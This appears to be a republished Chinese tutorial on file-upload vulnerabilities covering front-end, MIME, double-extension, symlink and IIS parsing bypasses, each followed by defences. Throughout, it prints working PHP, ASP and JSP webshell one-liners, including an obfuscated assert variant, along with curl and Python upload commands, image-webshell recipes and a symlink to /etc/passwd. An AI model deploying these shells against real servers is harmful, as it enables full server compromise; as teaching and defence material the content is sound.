關于 Web 安全實踐:4. 文件上傳功能的風險分析與防護

定義:文件上傳風險點是指應用程序允許用戶上傳文件,但沒有嚴格校驗上傳文件的類型、內容、路徑等屬性,導致攻擊者可以上傳并執行惡意代碼。


繞過方式:

前端繞過

1.?前端限制的原理

前端限制上傳文件類型的常見方式有三種:

1)accept 屬性限制上傳文件后綴:

<input type="file" accept=".jpg,.png">

這只允許用戶選擇 .jpg.png 后綴的文件。

2)前端 JS 腳本校驗:

例如用 JavaScript 限制后綴名或文件大小:

const file = document.getElementById("file").files[0];
if (!file.name.endsWith(".jpg")) {alert("只能上傳 JPG 圖片!");return false;
}

3)通過 MIME 類型校驗:

前端代碼可能會檢查文件的 type 屬性:

if (file.type !== "image/jpeg") {alert("只允許上傳圖片!");return false;
}

結論:以上所有校驗都是“客戶端校驗”,攻擊者完全可以繞過!因為攻擊者可以不通過瀏覽器上傳,而是自己構造上傳請求。

2.?前端繞過的攻擊原理

前端校驗只能在瀏覽器上生效。而上傳的核心流程如下:

POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary--

攻擊者只要能構造這樣的 HTTP 請求(與瀏覽器無關),即可上傳任何文件類型。

3.?前端繞過的幾種實戰方法

方法一:禁用 JS 直接選文件

如果頁面通過 JS 阻止上傳(例如不讓選擇 .php 文件),可以:

  • 右鍵網頁 → 檢查 → Application → Local File System 手動選文件

  • 或者用 curl、Postman、Python 繞過

方法二:Burp Suite 抓包修改文件名

步驟:

  • 正常上傳一張 .jpg 圖片

  • Burp Suite 抓包

  • 修改請求中的 filename="xxx.jpg"filename="shell.php"

  • 修改請求體中的文件內容為 PHP Webshell

  • 發送請求,查看響應路徑是否上傳成功

Content-Disposition: form-data; name="file"; filename="shell.php"

即使前端只允許 .jpg,服務端沒做驗證,也可能成功!

方法三:curl 模擬上傳

用 curl 構造上傳請求(替代瀏覽器):

curl -F "file=@shell.php" http://target.com/upload

完全繞過前端任何 JS 校驗!

方法四:Python requests 上傳

構造 Python 腳本:

import requestsfiles = {'file': ('shell.php', open('shell.php', 'rb'), 'application/octet-stream')}
r = requests.post('http://target.com/upload', files=files)
print(r.text)

也能輕松繞過前端限制。

方法五:Postman 構造上傳請求

  • 使用 Postman 新建 POST 請求

  • 在 Body → form-data 添加字段:

    • key: file

    • type: File

    • value: 本地的 shell.php

  • 點擊發送

4.?防御建議

防護位置措施
服務端對文件擴展名進行白名單校驗(如:僅允許 .jpg, .png
服務端對 MIME 類型進行驗證(推薦通過 magic bytes,而非請求頭)
服務端對上傳路徑進行隔離,不允許上傳目錄執行腳本
服務端對文件內容進行特征過濾(如檢測 <?php 字符)
安全中間件使用 WAF 攔截 eval, base64_decode, cmd 等關鍵詞

小結

前端繞過的本質:攻擊者完全可以跳過瀏覽器,構造自己的 HTTP 請求,從而繞過一切前端校驗。

=======================================

MIME 類型繞過

MIME(Multipurpose Internet Mail Extensions)類型,是 HTTP 請求中描述文件內容類型的字段,常見于上傳時的請求頭:

Content-Type: image/jpeg

常見類型有:

文件類型MIME 類型
JPEG圖片image/jpeg
PNG圖片image/png
HTMLtext/html
PHPapplication/x-httpd-php
可執行文件application/octet-stream

服務端錯誤的 MIME 判斷方式

很多開發者會使用以下邏輯判斷上傳文件是否合法:

if ($_FILES['file']['type'] != "image/jpeg") {die("請上傳圖片文件!");
}

問題:$_FILES['file']['type'] 是由 客戶端上傳時聲明的 MIME 類型,攻擊者可以偽造

1.?MIME 類型繞過的原理

攻擊核心:

攻擊者偽造請求頭中 Content-Type 為服務器信任的類型,例如:

Content-Type: image/jpeg

然后上傳 .php 文件內容,就可能繞過驗證。

2.?實戰 MIME 類型繞過方法

方法一:抓包修改 MIME(最常用)

  • 正常上傳 .jpg 文件抓包

  • 修改請求內容如下:

Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg<?php @eval($_POST['cmd']); ?>
  • 服務端只檢查 Content-Type: image/jpeg,可能直接通過。

方法二:curl 構造 MIME 請求

curl -X POST http://target.com/upload -F "file=@shell.php;type=image/jpeg"
  • @shell.php 指上傳的本地文件

  • type=image/jpeg 表示 MIME 類型為圖片,偽造成功

方法三:Python 模擬上傳(偽造 Content-Type)

import requestsfiles = {'file': ('shell.php', open('shell.php', 'rb'), 'image/jpeg')
}res = requests.post('http://target.com/upload', files=files)
print(res.text)

即使上傳的是 PHP,偽裝成 JPEG,服務器若只看 Content-Type 就會中招。

方法四:圖片馬 + MIME 繞過

制作“圖片馬”:

GIF89a
<?php @eval($_POST['cmd']); ?>

保存為 shell.jpg,上傳時 MIME 仍為 image/jpeg

如果服務器按 MIME 和擴展名判斷,不按內容判斷,就可能被執行。

3.?常見誤判方式

錯誤代碼描述
$_FILES['file']['type']取的是客戶端提供的 MIME,可偽造
JS 檢查 file.type是前端行為,攻擊者可以直接 POST
只看文件后綴名 + MIME雙保險都能偽造

4.?防御建議

防御方式描述
?使用 Magic Number 驗證使用文件頭判斷文件真實類型(推薦)
?白名單策略嚴格限制上傳類型:只允許 .jpg/.png
?后端二次校驗不能信任用戶提交的 Content-Type
?隔離上傳路徑上傳目錄不允許執行(不解析 PHP 等腳本)
?文件改名存儲上傳文件改為 UUID+擴展名,防止執行

5. Magic Number(文件頭)快速識別參考

文件類型開頭標識(Magic Header)
JPEGFF D8 FF
PNG89 50 4E 47
GIF47 49 46 38
PDF%PDF
ZIP50 4B 03 04
EXEMZ

可以使用 Python 檢測 Magic Header:

with open("file.jpg", "rb") as f:magic = f.read(4)print(magic)

小結

MIME 類型可以輕松偽造,千萬不能作為文件是否合法的依據。

必須在后端通過真實內容檢查(Magic Number)+ 類型白名單 + 存儲隔離多重措施防御。

=======================================

雙擴展名

雙擴展名就是給上傳的文件命名為兩個擴展名的形式:

shell.php.jpg

或者:

shell.jpg.php

目的:混淆服務端或 Web 服務器對文件類型的識別,從而繞過上傳限制并達到執行 WebShell 的目的。

為什么雙擴展名會繞過?

在某些服務端邏輯中:

  • 檢查上傳文件后綴是否為圖片(例如:endswith(".jpg")

  • 一看到 .jpg 就放行,不管前面還有 .php

于是:

文件名:shell.php.jpg
服務端:哦,是 .jpg,合法!
Web 服務器:實則按 .php 解析!可能直接執行!

1.?不同服務器對雙擴展名的解析差異

服務器類型解析策略說明
Apache默認取最后一個擴展名(.jpg可配置,需看 mod_mime 等模塊
Nginx默認取最后一個擴展名(.jpg不解析 .php.jpg 文件
IIS常常取 第一個識別的可執行后綴.php;.jpg 可能會執行

2.?雙擴展名繞過的幾種形式

1)普通雙擴展名:

shell.php.jpg
shell.asp.jpg
shell.jsp.jpg

如果服務端只判斷最后一個擴展名,會被繞過。

2)帶多個點(多擴展):

shell.php.1.jpg
shell.php.abc.jpg

有些框架只會取第一個點后的部分進行判斷,導致繞過。

3)利用 Windows 的「忽略第二擴展名」特性(IIS 特性):

shell.asp;.jpg

Windows 文件名允許 ;,IIS 會識別前半段為腳本,后面忽略,仍然執行。

4)上傳后路徑解析造成繞過:

假設上傳后文件名被服務器改為:

shell.php.jpg -> /uploads/shell.php.jpg

攻擊者訪問:

http://target.com/uploads/shell.php.jpg

如果 Web 服務未正確配置(比如直接轉發給 PHP 引擎),也可能執行里面的 PHP 代碼。

3. 實戰舉例

上傳雙擴展名圖片馬:

創建一個“圖片馬”:

GIF89a
<?php @eval($_POST['cmd']); ?>

保存為:

shell.php.jpg

抓包修改上傳參數(如 Content-Type 設置為 image/jpeg),繞過檢查。

如果上傳成功,訪問:

http://target.com/uploads/shell.php.jpg

如果目標服務器會將其作為 PHP 執行,就 getshell 了。

4.?防御建議

措施說明
?嚴格后端校驗擴展名如不包含 .php.jsp
?限制文件名只能包含一個點拒絕多擴展名上傳
?上傳后強制重命名使用 UUID 或 hash 做存儲名
?上傳目錄禁止腳本執行Nginx 設置 autoindex off; + 不交給 PHP 引擎
?使用 Magic Number 校驗文件內容類型不信擴展名和 MIME
?WAF 攔截可疑上傳文件名比如包含 .php 的文件名

小結

雙擴展名繞過的本質是服務端只檢查“最后一個擴展名”,而 Web 服務可能根據前面的擴展名解析執行。

如果后端只判斷 .jpg 而忽略了 .php,或者 IIS 會執行 shell.php;.jpg,就會導致嚴重的上傳+執行 風險,最終 getshell。

=======================================

軟連接繞過

軟連接(Symbolic Link)是 Linux 下的“快捷方式”,類似 Windows 的快捷方式文件。

例如:

ln -s /etc/passwd ./a.jpg

會在當前目錄創建一個叫 a.jpg 的文件,實際上是 /etc/passwd 的軟鏈接。

軟連接與文件上傳繞過的關系

攻擊思路:

  • 上傳文件 時,服務端只檢查擴展名、MIME 類型;

  • 上傳的內容其實是一個軟連接文件,指向一個敏感腳本(或你上傳的已存在 WebShell);

  • 如果服務器將該文件當成上傳結果處理,訪問鏈接路徑時可能執行原始文件,或者獲取敏感數據。

1.?利用條件(環境依賴較強)

要使用軟連接繞過,必須滿足以下條件:

條件說明
?Linux 系統Windows 不支持軟鏈接用于這種方式
?Web 目錄具有讀權限否則 Web 無法訪問軟鏈接目標
?上傳目錄允許寫入軟鏈接有些服務器禁用軟鏈接操作
?未嚴格檢查上傳內容服務端未禁止非圖片數據
?Web 服務能解析軟鏈接即訪問軟鏈接時能解析執行其目標文件

2.?攻擊實例

示例 1:讀取敏感文件(非 getshell)

上傳一個偽裝成圖片的軟鏈接:

ln -s /etc/passwd passwd.jpg

然后上傳 passwd.jpg,如果上傳路徑是 Web 可訪問的:

http://target.com/upload/passwd.jpg

就可能顯示 /etc/passwd 的內容

示例 2:訪問網站中的已存在后門

假設找到了某個泄漏頁面 /admin/shell.php,但它只能通過某個復雜路徑才能訪問(比如被防火墻保護)。

上傳一個軟鏈接:

ln -s /var/www/html/admin/shell.php shell.jpg

上傳后訪問:

http://target.com/upload/shell.jpg

就可能繞過路徑限制,直接訪問到 WebShell!

示例 3:繞過后綴限制(配合雙擴展)

將軟鏈接命名為:

shell.php.jpg -> /var/www/html/uploads/shell.php

服務端判斷后綴為 .jpg,就允許上傳,但實際鏈接的是 .php 文件,仍可能被執行。

3.?防御方式

防御措施說明
?禁止上傳軟連接文件上傳接口判斷是否為軟鏈接(見下方示例)
?上傳目錄掛載為 nofollow防止軟連接被解析
?上傳后重命名并移動不保留原路徑、軟連接無效
?配置 Web 服務禁止解析符號鏈接Nginx/Apache 配置關閉 symlink 解析
?文件內容識別驗證拒絕上傳符號鏈接文件,檢查是否真實圖片等

4.?檢測上傳文件是否是軟鏈接

后端代碼示例(PHP):

if (is_link($_FILES['file']['tmp_name'])) {die("禁止上傳符號鏈接文件!");
}

或使用 filetype()

if (filetype($_FILES['file']['tmp_name']) == "link") {die("拒絕上傳軟鏈接!");
}

小結

軟連接繞過的核心是:上傳的文件其實是一個鏈接,服務端未驗證內容,訪問時可能導致敏感信息泄露或繞過路徑保護,甚至執行隱藏的 WebShell。


getshell 實例:

Webshell 上傳

WebShell 是一種后門腳本文件,通過 Web 頁面遠程控制服務器。

常見的 WebShell 類型包括:

腳本類型常見擴展名舉例語言
PHP Shell.php, .phtml<?php @eval($_POST['pass']); ?>
ASP Shell.asp, .aspx<%eval request("pass")%>
JSP Shell.jsp<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

1.?攻擊條件(前提)

成功上傳 WebShell 并執行,需滿足以下前提:

  • 上傳功能可用

  • 上傳后文件可訪問且可執行

  • 服務端未對上傳類型/內容做嚴格限制

  • 沒有 WAF(Web 應用防火墻)或其他檢測機制攔截

2.?攻擊流程詳解

步驟 1:準備 WebShell 文件(例如 PHP)

<?php @eval($_POST['pass']); ?>

也可以用更隱蔽的變種:

<?php
$a='ass'.'ert';
$b='$_POST[1]';
$a($b);
?>

步驟 2:上傳腳本文件

如果前端限制只能上傳 .jpg,可以通過:

  • 修改后綴:shell.php.jpg

  • 攔截請求(Burp)改文件名為 shell.php

  • MIME 類型偽造:Content-Type: image/jpeg

步驟 3:上傳成功后,訪問 WebShell

http://target.com/upload/shell.php

或(雙擴展):

http://target.com/upload/shell.php.jpg

步驟 4:控制 WebShell(Getshell)

  • 使用工具如:蟻劍(AntSword)、冰蝎(Behinder)、中國菜刀等;

  • 輸入密碼字段(如 pass);

  • 獲得命令執行界面或文件管理界面。

3.?繞過技巧合集

繞過手段原理
前端繞過JS 檢查可被禁用或繞過(改 HTML 或直接抓包上傳)
MIME 類型偽造Content-Type 改為合法類型如 image/jpeg
雙擴展名shell.php.jpgshell.asp;.jpg(IIS)
文件頭偽造添加 GIF 或 JPG 文件頭
上傳后重命名風險點文件被重命名但保留可執行擴展
路徑可控或軟鏈接上傳后路徑可預測或指向 WebShell 文件

4.?實戰演示(PHP + Apache)

服務端代碼(風險點示例):

<?php
$upload_dir = "uploads/";
$target = $upload_dir . basename($_FILES['file']['name']);if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {echo "Upload success!";
} else {echo "Upload failed!";
}

這個代碼沒有任何擴展名、MIME 類型或內容檢查,可直接上傳 .php 文件。

上傳方式(用 curl 模擬):

curl -X POST -F "file=@shell.php" http://target.com/upload.php

然后訪問:

http://target.com/uploads/shell.php

輸入 POST 數據:

pass=phpinfo();

即可執行代碼。

5.?防御建議

防御措施說明
?文件類型白名單只允許 .jpg.png 等安全類型
?文件內容檢測使用 file 命令或圖片頭判斷,不信擴展名
?上傳文件改名使用隨機 UUID 替換原文件名
?上傳目錄禁止解析Nginx 配置 location ~* \.php$ { deny all; }
?文件隔離上傳文件不放在 Web 根目錄下
?后門檢測工具使用 D盾、WebShellCheck、Yakit 等檢測工具

6.?工具推薦

工具名稱用途
蟻劍 AntSword最流行的跨平臺 WebShell 管理工具
冰蝎 Behinder高級 WebShell,支持加密、內存馬
中國菜刀老牌 WebShell 客戶端
Burp Suite抓包修改上傳參數繞過限制
webshell-detect檢測服務器 WebShell 的工具腳本

小結

WebShell 上傳是文件上傳風險點的終極目標,一旦成功就意味著攻擊者能完全控制服務器。

=======================================

圖片馬

圖片馬(Image WebShell)指的是偽裝成圖片格式的 WebShell 文件,攻擊者通過在圖片文件中隱藏腳本代碼,欺騙服務端的上傳限制,從而實現代碼執行。

圖片馬可用于繞過:

  • 文件擴展名限制(只能上傳 .jpg, .png 等)

  • MIME 類型限制(Content-Type 必須為 image/*)

  • 文件頭檢測(Magic Number 判斷)

1.?構造圖片馬的原理

圖片文件本質是二進制文件,不同格式有固定的文件頭:

圖片類型文件頭(Magic Number)
JPGFF D8 FF
PNG89 50 4E 47 0D 0A
GIFGIF89a

而 Web 服務器在檢查上傳文件時,很多只校驗:

  • 文件擴展名;

  • 文件 MIME;

  • 文件頭(Magic Number)前幾個字節;

不會分析后續內容是否包含惡意代碼。

2.?常見的圖片馬構造方式

方式一:偽造圖片文件頭 + PHP 代碼

方法:在 PHP WebShell 前加圖片文件頭

GIF89a
<?php @eval($_POST['cmd']); ?>

保存為:shell.gif,這就是圖片馬。

訪問時:

http://target.com/uploads/shell.gif

POST 請求內容:

cmd=phpinfo();

如果服務器仍按 PHP 解析器解析(例如上傳目錄支持 .gif 被解析為 PHP),就能執行代碼。

方式二:嵌入 WebShell 到真實圖片尾部

可以把 PHP 代碼加在正常圖片后面:

copy /b real.jpg + shell.php shell.jpg

或者使用 Linux:

cat real.jpg shell.php > shell.jpg

這種圖片能正常查看(例如瀏覽器可預覽),但訪問時仍可執行其中的 WebShell。

方式三:隱藏在圖片的 EXIF 信息中

EXIF 是圖片的元數據,攻擊者可將 Shell 寫入其中字段:

修改方法(PHP):

exiftool -Comment='<?php eval($_POST["cmd"]); ?>' image.jpg

服務器讀取 EXIF 并包含或解析時,代碼會執行(結合文件包含風險點使用)。

3.?攻擊流程

  • 攻擊者準備偽裝好的圖片馬文件;

  • 上傳時抓包修改擴展名為 .jpg 或偽造 MIME:

    Content-Type: image/jpeg
    
  • 上傳成功后訪問路徑:

    http://target.com/uploads/shell.jpg
    
  • 使用蟻劍等 WebShell 工具連接,或手動發 POST 請求執行命令。

4.?圖片馬常見繞過技巧

繞過方式說明
文件頭偽造加上 GIF89aFFD8FF 開頭
擴展名偽裝使用 .jpg, .png, .gif
雙擴展名shell.php.jpgshell.phtml.jpg
MIME 偽造Content-Type: image/jpeg 偽造請求頭
真實圖片拼接使用 catcopy /b 拼接真實圖片與 Shell
使用特殊文件名shell.php%00.jpg(空字節截斷)舊風險點
IIS 特性上傳 .php;.jpg(雙擴展名 + IIS 解析風險點)

5.?實戰演示(Apache + PHP)

WebShell 內容(shell.gif):

GIF89a
<?php eval($_POST['cmd']); ?>

上傳:

使用 Burp Suite 抓包,修改上傳字段為:

Content-Disposition: form-data; name="file"; filename="shell.gif"
Content-Type: image/gif

上傳成功后訪問:

http://target.com/uploads/shell.gif

POST 請求:

cmd=system('whoami');

效果:

如果服務器將上傳目錄文件仍作為 PHP 解析 → 成功執行 WebShell → Getshell 成功。

6.?防御建議

防御措施說明
?限制 MIME + 擴展名同時校驗后綴名和內容類型
?檢測 Magic Number檢查文件是否是合法圖片頭且長度匹配
?上傳目錄禁用解析上傳目錄不允許執行 .php 文件(Nginx deny)
?文件改名 + 改路徑改為隨機名且存放在不可訪問的路徑
?使用專業安全組件如阿里云 OSS、騰訊 COS 附帶內容安全檢查
?設置圖片后綴白名單拒絕 .php.jpg.phtml.phar 等可解析格式

7.?工具推薦

工具說明
ExifTool修改圖片 EXIF 信息
AntSword上傳并連接圖片馬 WebShell
Burp Suite抓包偽造上傳請求繞過
Yakit/D盾WebShell 檢測工具
PHP 偽圖片生成腳本可自動生成圖片馬樣本

小結

圖片馬是一種利用服務端上傳處理不嚴、文件解析機制配置不當,實現隱蔽 WebShell 上線的手法。 它配合上傳繞過技巧,依舊是滲透測試中非常實用的一招。

=======================================

解析風險點(IIS 特性)

IIS(Internet Information Services)是微軟提供的 Web 服務。解析風險點是指:

Web 服務器對文件的擴展名解析邏輯存在缺陷,攻擊者可以上傳惡意腳本偽裝成非腳本文件繞過檢測,但服務器最終仍會將其作為腳本解析執行

常見于 IIS 6.0 / 7.0 / 7.5 / 8.0 等舊版本。

1.?利用解析風險點的關鍵特性

IIS 的解析順序(優先順序):

IIS 處理文件時,會:

  • 找到文件路徑;

  • 嘗試按擴展名查找對應的處理程序(Handler);

  • 有一些版本的 IIS 會 從第一個擴展名起就開始匹配處理程序

也就是說:文件名 shell.asp;.jpg,IIS 仍會按照 .asp 解析執行!

導致風險點的配置(默認情況下):

  • IIS 將 第一個合法擴展名 作為解析目標;

  • IIS 忽略后續擴展名;

  • 也支持空格、分號、00 截斷等繞過方式。

2.?經典利用方式舉例

方式一:雙擴展名 + 分號

上傳文件名:shell.asp;.jpg

雖然后綴是 .jpg,但 IIS 按 .asp 處理,會當做腳本執行!

訪問地址:

http://target.com/uploads/shell.asp;.jpg

如果上傳目錄支持 .asp 文件解析,就 Getshell 成功。

方式二:空格繞過(部分 IIS 支持)

上傳:shell.asp .jpg(注意擴展名前加空格)

IIS 有時會自動忽略空格后綴,仍按 .asp 解析。

方式三:%20%00 空格/截斷字符繞過

  • shell.asp%20.jpg (URL 中加空格)

  • shell.asp%00.jpg (URL 截斷字符)

一些老的解析器或語言可能會把 %00 作為字符串結尾 → 實際處理為 shell.asp

方式四:NTFS ADS(替代數據流)

在 Windows 系統上,可以構造:

shell.jpg::$DATA

上傳后實際存儲為 NTFS 的數據流,某些配置下可以執行隱藏數據。

但這種方式利用受限于服務端具體環境。

3.?實戰演示(IIS 6.0 示例)

假設上傳限制只允許 .jpg 文件。

上傳方式:

上傳文件名:shell.asp;.jpg

文件內容:

<%eval request("cmd")%>

抓包修改請求頭:

Content-Disposition: form-data; name="file"; filename="shell.asp;.jpg"
Content-Type: image/jpeg

上傳成功后訪問:

http://target.com/uploads/shell.asp;.jpg

提交 POST 數據:cmd=Response.Write("hello"),成功返回說明解析風險點存在。

4.?解析風險點的核心本質

“文件上傳 + Web 服務器配置失誤 = Getshell”

不是上傳功能本身出問題,而是 Web 服務器的解析機制對攻擊者過于寬容

這也是為什么即使文件名后綴看上去正常(.jpg),但仍可能執行其中的 WebShell 代碼。

5.?防御方式

防御措施說明
?文件名規范化上傳后強制改名(使用 UUID 或 hash)
?禁用危險擴展解析修改 IIS 配置:刪除 .asp.php 等解析器
?上傳目錄隔離設置上傳目錄不執行腳本(web.config deny 或權限限制)
?WAF 攔截攔截偽裝的雙擴展名 / 分號 / 空格等可疑請求
?使用第三方云存儲如阿里云 OSS、騰訊 COS,上傳即隔離

6.?檢測工具推薦

工具功能
IIS Shortname Scanner掃描 IIS 解析路徑風險點
Burp Suite + 手動測試構造雙擴展名、空格上傳包
冰蝎 / 蟻劍一旦上傳成功用于連接 Shell
WAF Log 分析檢測雙擴展名、; 等敏感字符訪問日志

小結

解析風險點不是上傳風險點本身,而是服務器“過度聰明”的解析行為被攻擊者利用,常見于 IIS 上,典型的就是雙擴展名+分號。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/81952.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/81952.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/81952.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

升級SpringBoot2到3導致的WebServices升級

背景 WebServices 是基于開放標準&#xff08;XML、SOAP、HTTP 等&#xff09;的 Web 應用程序&#xff0c;它們與其他 Web 應 用程序交互以交換數據。WebServices 可以將您現有的應用程序轉換為 Web 應用程序。 老代碼中有一個19年前的包&#xff0c;由于漏洞原因&#xff0c;…

Vue3中插槽, pinia的安裝和使用(超詳細教程)

1. 插槽 插槽是指, 將一個組件的代碼片段, 引入到另一個組件。 1.1 匿名插槽 通過簡單的案例來學習匿名插槽&#xff0c;案例說明&#xff0c;在父組件App.vue中導入了子組件Son1.vue&#xff0c;父組件引用子組件的位置添加了一個片段&#xff0c;比如h2標簽&#xff0c;然…

【Redis】AOF日志

目錄 1、背景2、工作原理3、核心配置參數4、優缺點5、AOF文件內容 1、背景 AOF&#xff08;Append Only File&#xff09;是redis提供的持久化機制之一&#xff0c;它通過記錄所有修改數據庫狀態的寫命令來實現數據庫持久化。與RDB&#xff08;快照&#xff09;方式不同&#…

【HTTP】connectionRequestTimeout與connectTimeout的本質區別

今天發現有的伙伴調用第三方 httpclient 的配置中 connectTimeout 和 connectionRequestTimeout 配置的不到 1 S&#xff0c;問了一下他&#xff0c;知不知道這兩個參數的意思&#xff0c;他說不知道。那我們今天就來了解一下這兩個參數的區別 一、核心概念解析 1.1 connectT…

react中運行 npm run dev 報錯,提示vite.config.js出現錯誤 @esbuild/win32-x64

在React項目中運行npm run dev時&#xff0c;如果遇到vite.config.js報錯&#xff0c;提示esbuild/win32-x64在另一個平臺中被使用&#xff0c;通常是由于依賴沖突或緩存問題導致的。解決方法是刪除node_modules文件夾&#xff0c;并重新安裝依賴。 如下圖&#xff1a; 解決辦…

EMQX開源版安裝指南:Linux/Windows全攻略

EMQX開源版安裝教程-linux/windows 因最近自己需要使用MQTT&#xff0c;需要搭建一個MQTT服務器&#xff0c;所以想到了很久以前用到的EMQX。但是當時的EMQX使用的是開源版的&#xff0c;在官網可以直接下載。而現在再次打開官網時發現怎么也找不大開源版本了&#xff0c;所以…

Python:操作Excel按行寫入

Python按行寫入Excel數據,5種實用方法大揭秘! 在日常的數據處理和分析工作中,我們經常需要將數據寫入到Excel文件中。Python作為一門強大的編程語言,提供了多種庫和方法來實現將數據按行寫入Excel文件的功能。本文將詳細介紹5種常見的Python按行寫入Excel數據的方法,并附上…

vue3中RouterView配合KeepAlive實現組件緩存

KeepAlive組件緩存 為什么需要組件緩存代碼展示緩存效果為什么不用v-if 為什么需要組件緩存 業務需求&#xff1a;一般是列表頁面通過路由跳轉到詳情頁&#xff0c;跳轉回來時&#xff0c;需要列表頁面展示上次展示的內容 代碼展示 App.vue入口 <script setup lang"…

【JAVA】比較器Comparator與自然排序(28)

JAVA 核心知識點詳細解釋 Java中比較器Comparator的概念和使用方法 概念 Comparator 是 Java 中的一個函數式接口,位于 java.util 包下。它用于定義對象之間的比較規則,允許我們根據自定義的邏輯對對象進行排序。與對象的自然排序(實現 Comparable 接口)不同,Comparat…

浪潮服務器配置RAID和JBOD

目錄 1 配置RAID2 設置硬盤為JBOD模式3 驗證結果 1 配置RAID 進入 bios 界面 選擇 “高級” - “UEFI-HII配置” 選擇 raid 卡 進入 Main Menu 點擊 Driver Management&#xff0c;可以查詢當前硬盤 返回上一級&#xff0c;點擊 Configuration Management - Create virtu…

mongodb管理工具的使用

環境&#xff1a; 遠程服務器的操作系統&#xff1a;centOS stream 9; mongoDB version:8.0; 本地電腦 navicat premium 17.2 ; 寶塔上安裝了mongoDB 目的&#xff1a;通過本地的navicat鏈接mongoDB,如何打通鏈接&#xff0c;分2步&#xff1a; 第一步&#xff1a;寶塔-&…

03-Web后端基礎(Maven基礎)

1. 初始Maven 1.1 介紹 Maven 是一款用于管理和構建Java項目的工具&#xff0c;是Apache旗下的一個開源項目 。 Apache 軟件基金會&#xff0c;成立于1999年7月&#xff0c;是目前世界上最大的最受歡迎的開源軟件基金會&#xff0c;也是一個專門為支持開源項目而生的非盈利性…

實景VR展廳制作流程與眾趣科技實景VR展廳應用

實景VR展廳制作是一種利用虛擬現實技術將現實世界中的展覽空間數字化并在線上重現的技術。 這種技術通過三維重建和掃描等手段&#xff0c;將線下展館的場景、展品和信息以三維形式搬到云端數字空間&#xff0c;從而實現更加直觀、立體的展示效果。在制作過程中&#xff0c;首…

Python爬蟲實戰:獲取天氣網最近一周北京的天氣數據,為日常出行做參考

1. 引言 隨著互聯網技術的發展,氣象數據的獲取與分析已成為智慧城市建設的重要組成部分。天氣網作為權威的氣象信息發布平臺,其數據具有較高的準確性和實時性。然而,人工獲取和分析天氣數據效率低下,無法滿足用戶對精細化、個性化氣象服務的需求。本文設計并實現了一套完整…

幾種超聲波芯片的特點和對比

一 CX20106A ZIP - 8 CX20106A ZIP - 8 的核心競爭力在于高性價比、易用性和抗光干擾能力&#xff0c;尤其適合消費電子、短距離工業檢測和低成本物聯網場景。盡管在距離和精度上不及高端芯片&#xff0c;但其成熟的電路方案和廣泛的市場應用&#xff08;如經典紅外遙控升級為超…

利用ffmpeg截圖和生成gif

從視頻中截取指定數量的圖片 ffmpeg -i input.mp4 -ss 00:00:10 -vframes 1 output.jpgffmpeg -i input.mp4 -ss 00:00:10 -vframes 180 output.jpg -vframes 180代表截取180幀, 實測后發現如果視頻是60fps,那么會從第10秒截取到第13秒-i input.mp4&#xff1a;指定輸入視頻文…

系統架構設計師案例分析題——數據庫緩存篇

一.核心知識 1.redis和MySQL的同步方案怎么做的&#xff1f; 讀數據&#xff1a;先查詢緩存&#xff0c;緩存不存在則查詢數據庫&#xff0c;然后將數據新增到緩存中寫數據&#xff1a;新增時&#xff0c;先新增數據庫&#xff0c;數據庫成功后再新增緩存&#xff1b;更新和刪…

什么是智能體?

什么是智能體&#xff1f; 智能體&#xff08;AI Agent&#xff09;是一種能夠自主感知環境、做出決策并執行任務的智能實體&#xff0c;其核心依賴大型語言模型&#xff08;LLM&#xff09;或深度學習算法作為“大腦”模塊。它通過感知模塊&#xff08;如多模態輸入&#xff…

企業數字化轉型是否已由信息化+自動化向智能化邁進?

DeepSeek引發的AI熱潮迅速蔓延到了各個行業&#xff0c;目前接入DeepSeek的企業&#xff0c;涵蓋了科技互聯網、云服務、電信、金融、能源、汽車、手機等熱門領域&#xff0c;甚至全國各地政府機構也紛紛引入。 在 DeepSeek 等國產 AI 技術的推動下&#xff0c;眾多企業已經敏銳…

廣州卓遠VR受邀參加2025智能體育典型案例調研活動,并入駐國體華為運動健康聯合實驗室!

近日&#xff0c;“2025年智能體育典型案例調研活動”在東莞松山湖成功舉辦。本次調研活動由國家體育總局體育科學研究所和中國信息通信研究院聯合主辦&#xff0c;旨在深入貫徹中央關于培育新型消費的戰略部署&#xff0c;通過激活智能健身產品消費潛力&#xff0c;加快運動健…